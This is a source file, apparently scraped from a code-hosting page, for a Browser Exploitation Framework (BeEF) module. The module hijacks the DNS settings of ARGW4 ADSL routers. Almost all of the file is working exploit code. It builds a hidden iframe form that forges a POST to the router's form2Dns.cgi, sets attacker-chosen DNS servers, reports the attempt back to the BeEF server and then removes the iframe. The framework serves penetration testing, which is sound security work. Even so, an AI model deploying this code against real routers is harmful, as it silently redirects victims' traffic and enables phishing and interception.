Path: blob/master/modules/exploits/router/argw4_adsl_dns_hijack/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var target = 'http://<%= @rhost %>/form2Dns.cgi';10var dns1 = '<%= @dns1 %>';11var dns2 = '<%= @dns2 %>';12var timeout = 15;1314// validate DNS server IP addresses15if (!beef.net.is_valid_ip(dns1)) {16beef.debug('Invalid Primary DNS server IP address was provided');17beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");18return;19}20if (!beef.net.is_valid_ip(dns2)) {21beef.debug('Invalid Secondary DNS server IP address was provided');22beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");23return;24}2526// change DNS27var argw4_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [28{'type':'hidden', 'name':'dnsMode', 'value': '1'},29{'type':'hidden', 'name':'dns1', 'value': dns1},30{'type':'hidden', 'name':'dns2', 'value': dns2},31{'type':'hidden', 'name':'dns3', 'value': ''},32{'type':'hidden', 'name':'submit.htm?dns.htm', 'value': 'Send'},33{'type':'hidden', 'name':'save', 'value': 'Apply Changes'}34]);3536beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");3738// clean up39cleanup = function() {40document.body.removeChild(argw4_adsl_iframe_<%= @command_id %>);41}42setTimeout("cleanup()", timeout*1000);4344});45464748